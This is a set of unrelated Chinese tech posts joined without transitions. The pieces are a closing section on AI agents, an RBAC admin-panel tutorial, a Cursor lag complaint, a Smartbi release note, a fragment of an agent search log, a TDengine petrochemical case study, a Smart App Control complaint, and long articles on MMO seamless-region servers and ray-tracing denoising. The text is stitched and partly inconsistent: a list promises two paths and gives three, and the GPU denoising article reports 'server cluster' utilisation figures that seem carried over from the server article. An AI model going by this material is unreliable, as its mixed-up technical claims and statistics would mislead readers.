  • 结果不满足格式 → 是否自我修正?
是否具备“反馈—调整—再执行”的机制,是智能体的分水岭。

3️⃣ 第一性工程:先整理知识,再调模型

在实际落地中,RAG 是最稳健的起跑方式

但关键不在“用不用 RAG”,而在于:

  • 数据是否高质量
  • 结构是否标准化
  • 是否可被精准检索

第一步往往不是调模型参数,而是整理知识资产。


三、落地现实:不是每个团队都该“从零造轮子”

完整的智能体系统涉及:

  • 调度
  • 状态管理
  • 工具封装
  • 多轮决策

对多数业务团队来说,自研成本极高。

因此,当前主流路径有两种:

  1. 基于 LangChain / AutoGPT 等框架深度定制
  2. 使用智能体平台进行流程编排
  3. 将工程复杂度交给平台,把精力集中在业务逻辑与任务设计上。

这类平台化方案的价值在于:

让“懂业务但不写底层框架的人”,也能参与智能体构建。

四、三个最容易走错的“第一步陷阱”


一开始就追求通用智能
→ 正确做法:单一目标、垂直场景

提示词无限膨胀
→ 正确做法:结构化、职责清晰、可复用

没有评估体系
→ 正确做法:从 Day 1 就设定准确率、成功率、响应时间


五、总结:智能体不是技术升级,而是角色升级


从 0 到 1 的真正转变是:

  • 从“向 AI 提问”
  • 到“让 AI 推进一件事”

智能体,本质上是人类专业经验(Know-how)的系统化映射
当我们迈出这一步,也意味着 AI 正从工具,走向协作伙伴。

**智能体来了,不是因为模型更大了,
而是因为我们终于开始用系统的方式,思考智能。**
本文章内容和图片由AI辅助生成

前言

本篇文章主要讲解 RBAC 权限后台系统下,控制菜单、角色、用户信息与操作

本文也是《通俗易懂的中后台系统建设指南》系列的第十篇文章,该系列旨在告诉你如何来构建一个优秀的中后台管理系统

RBAC 三要素与模块管理

在上篇文章,我们讲 RBAC 权限模型的三要素是用户、角色、权限,那这三要素的信息在后台系统管理中,分别体现在:

  1. 菜单管理:管理系统中全部的菜单权限信息,供角色绑定和侧边栏渲染
  2. 角色管理:对角色信息的展示,给角色绑定权限
  3. 用户管理:对系统用户列表的展示,给用户分配角色

我们写这三个管理模块,主要就是把权限交给系统用户来自定义控制:一个完整的流程是:配置权限信息 => 角色绑定权限 => 用户分配角色 => 用户登录后,只渲染用户角色所拥有的权限路由

ApiFox 与数据 Mock

下文中全部数据均由 ApiFox 云端 Mock 生成,我也将这个文档在线分享,你可以访问 vue-clean-admin ApiFox 文档

菜单管理

菜单即权限路由数据,这些菜单数据主要提供给角色绑定和侧边栏菜单的渲染,没有这里的菜单数据,角色权限、用户绑定角色的操作都没有意义

列表的字段定义参考上篇文章RBAC 权限系统实战(一):页面级访问控制全解析PermissionRoute 类型定义

菜单模块的代码在 views/manages/menu 文件夹下找到

这里我们主要讲菜单模块填写表单的一些情况:

  1. 允许为菜单选择菜单图标 meta.icon,在侧边栏菜单中展示,这里封装了一个图标选择器组件 icon-pick.vue,后面有机会可以写篇文章聊一下
  2. 根据菜单类型动态必填字段,比如“目录”类型的菜单,不需要填写 component 字段等
  3. meta 配置,按需配置是否隐藏菜单、菜单排序等

菜单管理的操作接口说明,写在了 ApiFox - 菜单管理

角色管理

角色管理,对于角色信息的 CRUD 操作这里不讲,那在这个模块,我们最主要做一件事:给角色分配权限

角色模块的代码在 views/manages/role 文件夹下找到

在一个分配权限的弹窗表单中,先拉取全部的菜单数据并渲染,供角色绑定,注意这里选中的是菜单 ID,也就是说,角色分配权限的接口设计中,传回角色 ID、选中的权限 ID 集这两个参数,来更新角色的权限

用户管理

用户管理这个模块,我们还是比较熟悉的,基本的后台系统都有,在实现用户基本的 CRUD 操作后,我们要做的就是给用户分配角色

在分配角色的弹窗表单中,先拉取到全部的角色列表,回显在下拉框,然后根据用户 ID 查询当前用户已拥有的角色也回显到选中项

注意,用户与角色是一对多的关系,一个用户可以拥有多个角色

接口设计中,传回用户 ID、角色 ID 集两个参数,分配成功后,刷新页面即可拿到最新权限

角色模块的代码在 views/manages/user 文件夹下找到

最后

这一套操作下来,我们就实现了系统权限的控制,下一篇文章讲细粒度的权限设计时,还会对菜单管理、角色管理有进一步的处理

了解更多

系列专栏地址:GitHub 博客 | 掘金专栏 | 思否专栏

实战项目:vue-clean-admin

交流讨论

文章如有错误或需要改进之处,欢迎指正

2.3 GHz 八核 Intel Core i9
AMD Radeon Pro 5500M 4 GB
Intel UHD Graphics 630 1536 MB
32 GB 2667 MHz DDR4

现在用 cursor 电脑会特别卡

图片

新年伊始,万象更新。Smartbi产品团队持续聚焦用户体验与个性化需求,带来2026年1月重磅更新!今年的第一次更新,重点围绕“交互自然感”和“协作精细度”两大方向。白泽与ABI平台双线更新,推出一系列新功能,进一步优化对话与数据分析体验,助力企业更智能、更高效地挖掘数据价值。

01 Smartbi AIChat 白泽

更智能的对话式分析体验

白泽历史会话上下文关联

记忆不断档,分析更连贯,决策更高效!

以往重新打开历史会话时,系统无法继承对话上下文,导致分析中断、重复描述。新版本实现上下文关联续问功能,用户可在历史会话中直接延续提问,系统自动识别上一轮对话内容,支持连续、递进式的数据分析,提升交互连贯性与决策效率。

举个例子:

历史提问:“请列出销售额前三的产品类别。”

续问:“这些类别中,哪个地区客户购买最多?”

白泽准确理解“这些类别”指的就是上一轮的前三类别。

图片

首页个性化定制

贴合企业品牌,轻松实现风格定制化!

针对大多用户提出的首页个性化定制需求,新版本封装了可视化组件与标准化接口,支持直接调用标准化接口,快速定制符合企业品牌形象的交互界面。同时配套提供前端开发示例,显著降低定制化开发的难度与项目交付周期,助力企业实现品牌与功能融合。

语音引擎灵活配置

识别更精准,更懂您的业务!

为满足不同业务场景下方言、专业术语的语音识别需求,新版本支持语音配置功能,接入科大讯飞、腾讯云等多款主流语音引擎,并可在配置中调整语言类型、方言及行业热词,提升语音交互的准确性与适用性,充分适配各类用户的差异化语音应用场景。

场景示例:

当用户需要自定义语音引擎时,可通过新增设的「语音识别引擎」二级配置入口,在可视化界面中自由选择科大讯飞、腾讯云等主流语音引擎,选定语音引擎后,支持按需调整语言类型、方言、行业热词等参数,可有效解决语音沟通障碍、专业术语识别不精准等问题。

图片

图片

归因分析展示优化

直观图文展示,报告更美观,解读更顺畅!

以往归因分析结果以“先图表后文字”的形式呈现,理解成本较高。新版本将图表嵌入分析文本合适位置,实现图文一体化的总结展示,更直观、更易理解,解读成本更低,大幅提升报告可读性与结论传达效率。

场景示例:

分析结果图表与文字有机结合,连贯性更强,用户理解难度更低。

图片

更多细节:

图片

02 一站式ABI平台

更自由的数据分析与协作

全局排序逻辑升级

自定义优先级,打破字段顺序束缚!

在即席查询、透视分析及仪表盘中,用户现在可自主设置全局排序的优先级,不再受字段顺序限制,适配各类业务分析场景,体验更灵活!

场景示例:

用户可通过排序>查看排序优先级中自由设定全局排序的优先级,自由进行拖拽排序,按需灵活调整。

图片

多选下拉交互优化

支持手工录入值,精准过滤更高效!

即席查询和透视分析的多选下拉框,现在支持手工输入值过滤查询,面对繁多选项时,无需再逐页翻找。

场景示例:

现在,您可以在多选下拉框中直接输入值(支持逗号分隔批量录入)进行过滤。无论是初始查找还是补充筛选,都能一步直达,让交互体验更流畅。

图片

分享功能更全面

新增多个筛选维度,提升检索与管理效率!

报表分享管理功能进一步优化,新增“分享对象、报表路径、截止时间”等筛选维度,检索更精细效率更高,同时用户可以更快捷地定位与管理历史分享记录。

图片

资产交接更清晰

按需指定交接,告别资源混乱!

新版本解决了以往人员离职时资源只能“整体打包”的痛点!支持以资源树形式,灵活勾选部分报表或数据集,精准交接给不同的负责人(比如财务报表交接给财务人员,运维、周报等交接给HR运维等)实现更加清晰和精细化的资产交接。

图片

更多细节:

图片

每一项更新都为了让数据更懂业务,

👇欢迎试用白泽为你的决策提供更硬核的支持!

正准备开个会员,结果 opencode 可以限时免费用了,赶紧试了试,对项目问题的分析很到位,但怎么推理用的数据那么旧?

Let me search for more specific information about libmedia and iOS Safari limitations.
◈ Exa Web Search "libmedia AVTranscoder iOS Safari performance file size limitations WASM 2024" 
◈ Exa Web Search "iPhone Safari file upload size limit blob memory WebAssembly" 
Thinking: Based on the search results, I can now provide a comprehensive answer about Option 2 (libmedia/AVTranscoder) and its viability on iPhone Safari:
Key findings:
1. iOS Safari WASM Memory Issues:
   - There's a history of Out-Of-Memory (OOM) errors on iOS when using WASM (GitHub issue from 2022 shows "Unhandled Promise Rejection: RangeError: Out of Memory" on iOS 15.2)
   - ffmpeg.wasm has a 2GB file size limit (GitHub issue #623)
   - Safari WASM was limited to 2GB until 2021, now supports up to 4GB but with memory fragmentation issues

小T导读:中海油泰州石化原有 AspenTech InfoPlus.21 实时数据库系统建设至今已有十余年,随着企业的逐步发展,原有采集点数已达上限,相关应用取数效率下降,限制了企业新需求的增长,借助该国产化项目汉中诺 ProDB(TDengine TSDB 基础上开发)产品在原点数基础上进行了 4 倍扩容,而且完成了实时数据库及采集接口双冗余配置,其他应用取数性能得到质的提升,极大地鼓舞了企业人员对信息化系统的使用热情,短时间内递交了上百幅流程图扩充补全的需求。本文就此实践展开深度分享。

背景和痛点

面对全球化格局重塑与技术竞争加剧的双重挑战,国有石油化工企业推进信息化软件国产化已成为关乎国家命脉的战略抉择。这不仅是为核心产业构筑安全屏障的关键举措,其战略价值更是在五大维度,包括国家安全与供应链自主可控、经济与技术自主权、数据主权与合规性、行业竞争力提升、国家战略与政策驱动对国有石油化工企业信息化形成立体化支撑,是抢占未来发展制高点的破局之策。

泰州石化原有 AspenTech InfoPlus.21 实时数据库系统随着企业的逐步发展,无论是采集接口还是采集点数,都有不同程度的增长,系统整体运行和操作时常有卡顿的现象发生。核心痛点主要体现在:

  • 国外软件授权到期,续期成本高,长期使用负担加重;
  • 原有架构依赖其专利的双机热备与采集接口冗余技术,升级与扩展受制于厂商;
  • 新的需求需要采集更多的辅助信息点,却受限于授权点数无法采集存储;
  • 与信创软硬件体系兼容性不足,阻碍企业在操作系统、服务器等层面的国产化替换

选择 TDengine TSDB 的原因

国内虽然已有多款国产实时数据库产品,但能够在大型石油化工场景中稳定运行、并具备规模化落地经验的并不多。TDengine TSDB 时序数据库依托成熟的产品能力与我们的工程团队,已经在恒力集团、海科集团、中融新大集团等多家大型化工企业成功部署,有着出色的应用效果和用户口碑。

  • TDengine TSDB 通过权威的 TSBS 基准测试,在数据读写、磁盘占用等方面体现出来的性能优势明显,为大型企业开展高并发采集与长期数据留存提供了可靠的性能基础。
  • TDengine TSDB 在数据处理、部署方式、专利、论文、案例、资质等多个方面断层领先于国内其他家的同类型产品。
  • TDengine TSDB 支持高效边云协同,通过内置订阅机制实现多级数据同步与降采样,无需编码即可配置规则,适配 MQTT、OPC、PI System 等协议。边缘轻量写入,云端集中分析,支持断线续传与历史数据迁移,助力企业打破数据孤岛,统一建模、降低带宽压力,加速数字化升级。
  • TDengine TSDB 内置类消息队列的数据订阅机制,支持按库、超级表或 SQL 查询创建主题,实时推送写入数据。支持消费组、进度管理与回放能力,兼容 Kafka 风格 API,便于快速集成。用户可通过 SQL 精细定义订阅内容,结合预处理功能,降低系统复杂度。

而在 TDengine TSDB 基础上开发的汉中诺 ProDB,在数据采集、数据存储上同样具有非常显著的产品优势。其时序数据库出色的性能和稳定性,在此次泰州石化实时数据库国产化项目中,起到了举足轻重的核心作用。项目实施过程中,有多个方面的使用亮点。

1、更稳定的高可用架构

基于实时数据库系统在企业信息化建设中的地位和重要性,此次通过汉中诺 ProDB 的部署,实现了 TDengine TSDB 数据库三节点的集群架构,大幅度提高数据库服务的稳定性。而我们数据采集软件也基于其接口冗余架构,保证了数采链路的健壮性,从而确保生产数据的完整性。

2、更全面的数据采集

TDengine TSDB 结合我们数据采集软件,支持了超过 10 多种的数据采集标准工业协议和工业互联网协议,完全覆盖了泰州石化现有控制系统和各类智能设备的应用场景,包括有 OPC UA、OPC DA、Modbus TCP/RTU、IEC104、HJ212、MQTT、HTTP 等。

3、更完整的数据存储

在本次项目中,TDengine TSDB 出色的读写性能得到了充分发挥。依托其高并发写入与高效查询能力,我们显著扩大了数据采集范围,许多过去因性能与容量限制而无法采集的点位,此次均实现了完整接入。

其中,DCS 控制系统的位号报警上下限也被作为独立点位纳入采集与存储。尽管新增点位数量相比以往增长了约 4 倍,但系统仍保持稳定运行。更重要的是,这些点位的补充从根本上解决了生产条件或生产方案调整时,因控制系统报警限值变更导致上层应用报警阈值不同步、报警应用计算结果错误的问题。

4、更现代化的数据展示

TDengine TSDB 结合我们的数据展示平台,全方位升级了泰州石化实时数据监控平台,丰富了用户获取数据的方式,也提升了用户访问数据的体验。如今,平台可同时支撑 200 多名用户并发访问,超过 700 幅流程图均能实现极速渲染与稳定展示,而这一切的基础正是底层数据库持续、可靠的高性能数据支撑。

5、多方面的专利申请

在此次项目推进过程中,我们的工程团队也围绕泰州石化的实际需求开展了多项技术攻关,并计划协助企业在多个方向推进专利申请,包括:
通信安全:集成 SM4 国密算法,设计基于国密协议的分布式节点通信机制;
数据存储:采用列式存储与差值编码技术,压缩率通常可达到 10% 以内;
异常检测:基于 LSTM 的工艺参数漂移预警模型,检测响应时间可小于 200ms;
国产系统:深度适配麒麟 OS 的系统优化方案。

汉中诺 ProDB 产品完全兼容泰州石化原来的 InfoPlus.21 平台架构,但数据库结构、集群部署更简单,同时具备接口冗余功能,性能有本质上的飞跃。

TDengine TSDB 的落地实践

部署架构包括 ProDB 实时数据库系统服务器、ProWeb 生产监控平台服务器、ProCollector 数采接口机以及防火墙组成。系统部署架构说明如下:

  • ProDB 实时数据库服务器-实现存储、管理生产过程数据。
  • ProWeb 生产监控平台服务器-实现生产过程数据监控与展示。
  • Data Access 公共接口服务器-实现数据的对外发布。
  • ProCollector 数采接口服务器-实现集中生产过程数据的采集。
  • 防火墙提升网络通讯安全。
  • DCS OPC 节点通过标准 OPC DA 接口提供实时数据。

ProDB 系统高可用方案说明:

  • ProDB 节点实现集群配置,实现故障切换、负载均衡,确保高可用性。
  • ProCollector 节点实现接口冗余配置。

在数据建模方面,因为 ProDB 的数据模型完全兼容 AspenTech InfoPlus.21(泰州石化原有实时数据库)的数据模型,所以基本上采集和迁移历史数据基本上没有什么变化,前端应用也未受影响。

未来规划

我们与北京涛思数据科技有限公司已合作多年,并在多个项目中将 TDengine TSDB 应用于我们的实际业务系统,系统的数据处理性能和维护效率均得到了明显提升。未来,我们也将持续关注 TDengine TSDB 和 TDengine IDMP 的版本更新与功能演进,进一步拓展在更多业务场景中的应用可能。

关于上海汉中诺

上海汉中诺软件科技有限公司成立于 2003 年,拥有 2 项专利和 50 余项软件著作权,长期专注于为石油、石化、钢铁、冶金等行业提供专业软件系统与工程技术服务。公司具备经验丰富的行业专家团队,旗下 HanaTech 解决方案覆盖科研、设计、建设、生产等全流程,提供资源优化、过程控制与优化、供应链管理、生产过程管理、流程模拟等先进软件与技术,帮助客户提升设计水平、查找瓶颈、优化操作与管理,以持续获得更好的经济效益。

作者: 上海汉中诺 叶峰

不知道最近是什么情况,老是遇到 Smart App Control 拦截我的应用

刚开始是拦截 Antigravity, 导致动不动就得罢工, 有时候重启电脑可以临时解决,但是接着可能不久就又开始弹提示

这两天开始对 Cherry Studio 启动 MCP 命令,以及用 Rust 库编译 (cargo.exe) 进行拦截

没找到很有效的办法,有兄弟遇到过类似情况吗?是怎么解决的?

Antigravity

cargo.exe



我观察这个加仓有一段时间了,感觉有一定参考意义。少的时候第一名只有几千人加仓,多的时候有一万多人,突破 2 万我还是第一次见。

当玩家驾驭飞行坐骑穿越广袤的草原与冰封的雪山交界,技能连招的光影未曾中断,与队友的语音交流依旧清晰,背包里刚拾取的道具实时可用,这种彻底摆脱加载动画的沉浸式体验,正是分布式服务器架构对大型多人在线游戏无缝区域过渡的极致诠释。在开放世界游戏的开发进程中,我们曾长期受制于传统静态域界划分的桎梏——早期将虚拟世界切割为若干固定大小的区域服务器,玩家一旦靠近域界,系统便会触发全量数据传输与服务器切换,不仅导致屏幕短暂定格,更可能出现技能释放失效、队友位置偏移等影响体验的问题。更棘手的是,这种静态划分无法适配玩家流动的动态性,热门副本入口、世界BOSS刷新点等区域常常因玩家过度聚集导致服务器算力过载,而偏远的荒野区域却长期处于算力闲置状态,造成资源配置的严重失衡。为破解这一难题,团队放弃了单纯升级硬件的惯性思维,转而从架构层面寻求突破,通过融合跨端协同的低延迟通信逻辑与云端弹性调度的资源分配理念,创新性地提出“动态域界适配”架构。这一架构的核心在于打破物理服务器的刚性边界,让整个服务器集群成为能够感知玩家行为、动态调整形态的有机生态系统。玩家的每一次移动、每一次组队、每一次技能释放,都会被系统转化为多维数据信号,这些信号经过实时分析后,成为域界伸缩与资源调配的核心依据。例如,当数十名玩家组队前往某秘境探险时,系统会提前预判其行进路线,在玩家抵达前自动扩展该区域的域界范围,并从共享资源池中调取额外算力组建临时逻辑服务器,确保团队移动过程中始终处于同一逻辑域内;而当玩家分散探索后,冗余的算力资源又会被自动回收,重新分配给其他高需求区域。这种以玩家行为为核心的动态适配模式,彻底颠覆了传统静态域界的划分逻辑,实现了物理服务器分割下的逻辑无缝衔接,让玩家的探索之旅不再受技术边界的束缚。

动态域界适配架构的落地,关键在于构建“玩家密度热力感知”与“资源弹性适配”的闭环生态,这一过程需要充分兼顾游戏场景的特殊性与技术实现的可行性。传统的服务器负载均衡方案往往只关注CPU、内存、带宽等硬件资源的使用率,却忽略了游戏场景中“空间关联性”这一核心特征——同一台物理服务器内,玩家集中的战场与无人问津的荒野对算力的需求可能相差数十倍,若仅以整体负载为依据进行资源调度,必然导致局部区域过载或资源浪费。在实践中,我们首先建立了多维度的玩家行为数据采集体系,除了常规的位置信息外,还纳入了玩家交互频率、技能释放强度、组队规模、移动速度等关键指标,这些数据通过轻量化的采集协议实时上传至调度中心,经过毫秒级的清洗与分析后,生成动态更新的玩家密度热力图。与普通热力图不同,游戏场景下的热力图需要具备“空间连续性”与“时间预判性”,例如,当玩家组队向副本入口移动时,系统不仅要感知当前的密度分布,还要根据移动速度与路线预判未来5分钟内的密度变化趋势。基于这份动态热力图,我们设定了多梯度的域界调整阈值,当某区域的实时玩家密度超过第一阈值时,系统自动触发域界拆分流程:首先,调度中心从资源池筛选性能最优的空闲服务器节点,快速完成逻辑服务器的初始化配置;随后,源服务器将该区域的玩家状态数据进行分层标记,核心战斗状态与位置信息优先传输,非核心数据后台异步同步;在数据传输过程中,系统通过“状态冻结补偿”机制,短暂冻结玩家的非关键操作(如背包整理),确保数据同步的一致性,而核心战斗与移动操作则不受影响;当目标服务器确认数据接收完成后,自动接管玩家的逻辑处理,源服务器则释放相应资源,整个拆分过程耗时控制在10毫秒以内,玩家完全无法感知。反之,当某区域的玩家密度持续低于临界阈值超过30秒,系统则启动域界融合流程:首先确认该区域玩家的当前状态无高频交互,随后将其逻辑处理平滑迁移至相邻的逻辑服务器,迁移完成后回收该服务器节点至资源池,等待下一次调度。通过这一闭环机制,服务器集群的资源配置始终与玩家的动态分布保持高度匹配,每一寸虚拟空间都能获得精准的算力支撑,既避免了局部过载导致的卡顿,又最大化提升了资源利用率,在实践中,这一方案使服务器集群的整体资源利用率从原来的45%提升至78%,同时将跨域相关的玩家投诉率降低了92%。

状态同步的无缝化是实现无感跨域的核心技术壁垒,其突破的关键在于摒弃传统的“全量传输”思维,构建精细化的“瞬时状态共识”机制,在保证数据一致性的前提下,最大限度降低传输延迟与带宽消耗。玩家的游戏状态包含海量维度的信息,从实时位置、战斗状态、技能冷却时间,到背包物品、任务进度、社交关系等,若跨域时采用全量数据传输的方式,不仅会占用大量带宽资源,更会因传输延迟导致状态断裂,出现“玩家已跨域但技能仍在冷却”“背包物品显示异常”等问题。在实践中,我们首先对玩家状态数据进行了系统性的分层分类,依据“实时性需求”与“关联性强度”两大维度,将其划分为核心状态、重要状态与非核心状态三大类。核心状态包括实时位置坐标、战斗状态(生命值、法力值、技能释放中状态)、组队关系等需要毫秒级同步的信息,这类数据直接影响玩家的即时操作体验,是跨域同步的优先级最高项;重要状态包括技能冷却时间、临时增益buff、任务触发节点等,虽无需毫秒级同步,但需在跨域后1秒内完成同步,否则可能影响玩家决策;非核心状态则包括背包物品详情、成就进度、历史聊天记录等,这类数据对实时操作无影响,可采用后台异步同步的方式。针对核心状态,我们采用“增量同步+预衔接”的创新策略:当玩家靠近域界(距离设定为50米,根据游戏地图比例尺动态调整)时,系统通过位置预判算法识别其跨域意图,提前将核心状态的基础数据片段式同步至目标服务器,形成“状态缓存”;当玩家正式触发跨域时,源服务器仅需传输跨域瞬间的增量数据(如位置偏移量、技能状态变化),目标服务器则基于预缓存的基础数据与增量数据快速重构玩家状态,整个过程传输的数据量仅为全量传输的5%左右,延迟控制在5毫秒以内。对于重要状态,采用“时间戳校准同步”机制,跨域后目标服务器根据时间戳排序接收数据,自动覆盖旧数据,确保状态的准确性;非核心状态则通过“低优先级通信信道”在玩家跨域后后台逐步同步,同步过程中若玩家需要访问相关数据(如打开背包),系统会优先加速该部分数据的同步,避免影响体验。此外,我们还引入了“状态冲突自愈”逻辑,当跨域过程中因网络波动出现数据不一致时(如玩家在跨域瞬间释放技能,源服务器与目标服务器接收的技能触发时间存在偏差),系统会结合场景上下文(如技能释放的冷却时间、玩家位置是否符合释放条件)与时间戳优先级进行自动校验,快速修正偏差,确保玩家状态的连续性与一致性。通过这套精细化的状态同步机制,我们彻底解决了跨域过程中状态断裂的核心痛点,实现了从核心战斗到日常交互的全场景无缝衔接。

跨服务器协作的高效性直接决定了无缝跨域的体验上限,而传统的“中间件转发”模式往往因多节点跳转导致延迟过高,无法满足游戏场景的实时性需求。在早期测试中,我们曾尝试采用主流的分布式中间件作为服务器间的数据转发枢纽,结果发现,当玩家跨域时,数据需要经过源服务器→中间件→目标服务器的多节点跳转,仅转发延迟就超过30毫秒,再加上数据处理时间,总延迟超过50毫秒,玩家会明显感受到操作卡顿。为解决这一问题,我们借鉴了分布式协同领域的直接通信思路,为服务器集群搭建了增强型软总线通信网络,彻底摒弃了中间件转发的模式。这套软总线网络的核心特点是“节点对等通信”与“链路动态优化”,每个服务器节点都具备完整的会话中继能力,无需依赖第三方枢纽即可实现点对点的高速数据传输。在网络架构设计上,我们采用了“物理网络+逻辑网络”双层结构,物理网络基于万兆光纤搭建,确保底层传输的带宽与稳定性;逻辑网络则通过自定义的通信协议,实现节点间的动态链路协商与优化,例如,当两个节点之间的直接链路出现波动时,系统会自动切换至备用链路,确保通信的连续性。当玩家触发跨域操作时,源服务器首先通过软总线网络的节点发现机制,快速定位目标服务器的网络地址与通信状态,随后双方建立点对点的高速专用链路,链路建立过程采用“预协商+快速握手”机制,耗时不超过2毫秒。在会话数据传输阶段,源服务器将玩家的会话上下文(包括当前的逻辑处理节点、通信状态、权限信息等)进行轻量化序列化处理,通过专用链路直接传输至目标服务器,序列化过程采用定制化的压缩算法,在保证数据完整性的前提下,将数据体积压缩至原始大小的30%,大幅提升传输效率。目标服务器接收数据后,通过快速反序列化算法重建会话环境,整个过程无需第三方介入,端到端延迟控制在8毫秒以内。为确保会话传输的可靠性,我们引入了“会话影子同步”策略:源服务器在发送会话数据后,会在本地暂存一份玩家的“影子状态”,这份状态包含核心的位置与战斗信息,暂存时长设定为10秒;当目标服务器成功接管玩家逻辑后,会向源服务器发送确认信号,源服务器收到信号后再释放影子状态;若因网络异常导致目标服务器未收到数据,源服务器会在500毫秒后自动重传,若重传三次仍失败,则基于影子状态将玩家拉回原区域,避免出现“玩家丢失”的情况。通过这套“增强型软总线+影子备份”的跨域会话中继机制,我们彻底解决了传统转发模式的延迟问题,会话重建成功率达到99.99%,跨域过程中的会话中断率从原来的3.2%降至0.01%,为无缝跨域体验提供了坚实的通信保障。

资源弹性调度的深度优化,需要突破“被动扩容”的传统思维,实现“预判式资源预分配”,让资源调度走在玩家需求之前,这一理念的落地需要结合历史数据挖掘与实时场景感知。游戏中的玩家流动并非完全随机,而是存在明显的“场景驱动”特征——副本开放时间、世界BOSS刷新、节日活动开启、剧情任务节点等场景,往往会引发大规模的玩家聚集与跨域行为,若仅在玩家聚集后再进行资源扩容,必然导致短暂的响应延迟,影响体验。在实践中,我们首先构建了玩家流动预测模型,该模型的训练数据来源于游戏上线后的历史运营数据,包括不同时段、不同活动、不同服务器的玩家位置分布、跨域频率、停留时长等多维度信息。通过对这些数据的深度挖掘,我们发现了玩家流动的三大规律:一是“活动驱动型”流动,如世界BOSS刷新前15分钟,相关区域的跨域请求会激增5倍;二是“社交驱动型”流动,如公会活动开启时,公会成员会向指定区域集中;三是“探索驱动型”流动,如新地图开放初期,玩家会优先聚集在地图核心区域。基于这些规律,我们为预测模型设计了多场景适配算法,能够根据当前的游戏状态(如活动开启倒计时、公会活动预告),精准预判未来10分钟内的玩家流动趋势,包括高需求区域的位置、预计跨域人数、算力需求峰值等。根据预测结果,系统提前启动资源预分配流程:首先,从共享资源池中调取足够的服务器节点,提前完成逻辑服务器的初始化与配置,确保节点性能处于最佳状态;其次,预分配专属的通信带宽,避免跨域高峰时出现带宽争抢;同时,将高需求区域的基础场景数据(如地形、NPC信息)提前加载至预分配的服务器节点,减少跨域时的场景加载时间。例如,当系统检测到30分钟后将开启大型公会战活动时,会提前向活动地图所在的逻辑服务器预分配3倍于平时的算力资源,同时将参与公会的成员状态数据提前进行部分同步,当活动开启、大量玩家跨域进入时,可直接使用预分配的资源,无需等待服务器启动与数据加载。

当光线追踪技术在虚拟场景中精准还原出金属铠甲的微米级划痕反光、丝绸织物的经纬线肌理、皮革表面的毛孔质感,却因随机噪点让画面布满细碎颗粒,而传统降噪手段稍一用力,这些精心构建的细节便会沦为模糊的色块,这种细节与流畅的博弈,正是实时光追开发中最核心的技术痛点。在追求极致视觉体验的探索中,我们曾长期被传统降噪算法的固有缺陷所困扰——早期依赖单帧处理的空间域降噪方案,虽能以较快速度压制噪点,却缺乏对细节与噪点的精准区分能力,往往将高频率的有效细节误判为噪声,导致木质家具的木纹被抹平、石雕的棱角变得圆润、金属武器的划痕失去层次感;而采用多帧积累的时间域降噪方案,虽能通过帧间信息融合保留更多细节,却在动态场景中暴露出明显短板,玩家快速转身时物体边缘出现拖影,高速移动的角色身后残留虚影,更严重的是,多帧数据的叠加处理会大幅占用显卡算力,让帧率从流畅的60帧骤降至30帧以下,严重影响操作体验。更棘手的是,不同场景对降噪的需求存在巨大差异:静态的室内场景需要极致的细节保留,动态的战斗场景则优先保障帧率稳定,单一参数的降噪算法根本无法适配这种复杂需求。为打破这一僵局,我们彻底摒弃了“被动降噪”的传统思维,转而从“主动感知”角度重构算法逻辑,创新性地提出“细节锚定动态降噪框架”。这一框架的核心突破在于让算法具备类人类视觉的判断能力,能够精准识别“值得保留的有效细节”与“必须压制的无效噪点”,并根据场景动态与硬件算力实时调整处理策略。例如,在游戏的解谜场景中,当玩家聚焦于带有铭文的古老石碑时,算法会自动识别该区域为高优先级细节区,调用额外算力进行精细化降噪,确保每一个铭文的笔画清晰可辨,同时降低背景区域的降噪强度以节省资源;而在激烈的战斗场景中,当玩家快速移动镜头躲避攻击时,算法则会优先保障帧率,适度提升降噪效率,同时通过细节锚定技术避免关键战斗元素(如武器轮廓、技能特效边缘)出现模糊。这种以场景需求为核心的自适应逻辑,彻底颠覆了传统固定参数降噪的僵化模式,让细节保留与帧率稳定不再是相互对立的选择题。

细节锚定动态降噪框架的落地,关键在于构建“细节特征图谱”与“算力弹性分配”的双向驱动机制,这一过程需要在视觉感知优先级与技术实现可行性之间找到精准平衡点。传统降噪算法的致命缺陷在于对所有高频信号一视同仁,缺乏对“细节价值”的量化评估体系,导致有用细节与无用噪点被无差别过滤,最终呈现出“画面干净但缺乏质感”的尴尬效果。为解决这一问题,我们首先搭建了多维度的场景特征采集体系,不仅提取像素级的纹理密度、边缘锐度、反光强度等基础信息,更深入分析材质特性、光影层次、场景重要性等高阶维度数据,通过这些数据构建动态更新的“细节特征图谱”。这份图谱的核心价值在于实现了细节的分级管理——基于人类视觉感知模型,将场景元素划分为高、中、低三个优先级:高优先级细节包括人物面部的皮肤纹理、武器装备的雕刻花纹、关键道具的铭文标识等,这些细节直接影响视觉质感与信息传递,必须以最高精度保留;中优先级细节包括建筑墙面的砖石纹理、地面的植被分布等,可在不影响整体质感的前提下适度优化;低优先级细节包括远处背景的模糊光影、大面积纯色区域的细微颗粒等,可优先牺牲以节省算力。基于这份分级图谱,算法建立了“细节保真阈值”动态调整机制:当场景中高优先级细节密集时(如玩家近距离观察一件带有复杂纹饰的古董),系统会自动降低降噪强度,从算力缓冲池中调取额外资源,采用精细化处理算法逐像素区分细节与噪点,确保纹饰的每一道线条、每一处凹凸都清晰可辨;当场景以低优先级细节为主时(如玩家身处开阔的平原地带),则自动提升降噪强度,采用高效处理模式快速压制噪点,将释放的算力用于提升帧率。同时,我们设计了“算力缓冲池”动态调度策略,预留15%左右的冗余算力应对突发场景变化,例如当玩家突然从低细节的平原进入高细节的宫殿内部时,缓冲池中的算力会在5毫秒内被瞬时激活,确保细节处理不出现延迟,帧率始终稳定在目标区间。实践数据显示,通过这一机制,高优先级细节的保留率提升了75%,同时服务器集群的算力利用率从原来的58%提升至82%,真正实现了“算力用在刀刃上”的优化目标。

